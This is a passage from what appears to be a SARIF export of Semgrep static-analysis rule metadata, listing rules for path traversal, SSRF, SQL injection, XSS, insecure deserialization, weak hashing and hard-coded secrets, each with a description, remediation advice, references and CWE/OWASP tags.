public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path","id":"rust.hyper.path-traversal.tainted-path.tainted-path","name":"rust.hyper.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"help":{"markdown":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding","id":"swift.lang.ns.nscoding.swift-nscoding","name":"swift.lang.ns.nscoding.swift-nscoding","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.nscoding.swift-nscoding"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete","id":"cpp.lang.security.memory.deallocation.double-delete.double-delete","name":"cpp.lang.security.memory.deallocation.double-delete.double-delete","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-delete.double-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","id":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","name":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"help":{"markdown":"Downcasting or changing sign of an integer with `$CAST_METHOD` method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast)\n - [https://github.com/golang/go/issues/30209](https://github.com/golang/go/issues/30209)\n","text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"helpUri":"https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","id":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","name":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","properties":{"precision":"very-high","tags":["CWE-681: Incorrect Conversion between Numeric Types","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"help":{"markdown":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect","id":"javascript.express.security.audit.express-open-redirect.express-open-redirect","name":"javascript.express.security.audit.express-open-redirect.express-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-open-redirect.express-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS AppSync GraphQL Key detected"},"help":{"markdown":"AWS AppSync GraphQL Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS AppSync GraphQL Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","id":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","name":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"help":{"markdown":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request)\n - [https://godoc.org/github.com/reiver/go-telnet](https://godoc.org/github.com/reiver/go-telnet)\n","text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","id":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","name":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-mode.weak-symmetric-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC677 callAfterTransfer() reentrancy"},"help":{"markdown":"ERC677 callAfterTransfer() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n - [https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58](https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58)\n","text":"ERC677 callAfterTransfer() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy","id":"solidity.security.erc677-reentrancy.erc677-reentrancy","name":"solidity.security.erc677-reentrancy.erc677-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc677-reentrancy.erc677-reentrancy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host","id":"java.spring.security.injection.tainted-url-host.tainted-url-host","name":"java.spring.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","id":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","name":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"help":{"markdown":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33)\n","text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","id":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","name":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","id":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","name":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","id":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","name":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask","id":"python.flask.db.generic-sql-flask.generic-sql-flask","name":"python.flask.db.generic-sql-flask.generic-sql-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - 